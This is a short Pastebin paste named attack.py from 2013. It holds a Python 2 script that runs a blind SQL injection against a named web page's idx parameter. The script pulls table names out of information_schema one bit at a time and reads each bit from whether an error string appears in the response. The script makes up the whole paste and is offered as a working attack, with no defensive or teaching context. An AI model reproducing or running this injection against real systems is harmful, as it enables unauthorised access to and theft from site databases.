hdarwin

attack.py

Jun 5th, 2013
168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.77 KB | None | 0 0
  1. //attack.py
  2. import urllib
  3. tmp_list = []
  4. tmp_list2 = []
  5. for z in range(100):
  6.     for y in range(1,100):
  7.         for x in range(7)[::-1]:
  8.             if urllib.urlopen("https://hdarwin.kr/view.php?idx=4' or (select ord(substr(table_name,"+str(y)+",1))>>"+str(x)+" from information_schema.tables where table_schema != 0x696e666f726d6174696f6e5f736368656d61 limit "+str(z)+", 1)%261 = 1%23").read().find("ERROR") == 0:
  9.                 tmp_list.append('0')
  10.             else:
  11.                 tmp_list.append('1')
  12.         if chr(int(''.join(tmp_list),2)) == "\x00":
  13.             break
  14.         tmp_list2.append(chr(int(''.join(tmp_list),2)))
  15.         tmp_list = []
  16.     if len(''.join(tmp_list2).strip()) == 0:
  17.         break
  18.     print ''.join(tmp_list2).strip()
  19.     tmp_list2 = []
Advertisement
Add Comment
Please, Sign In to add comment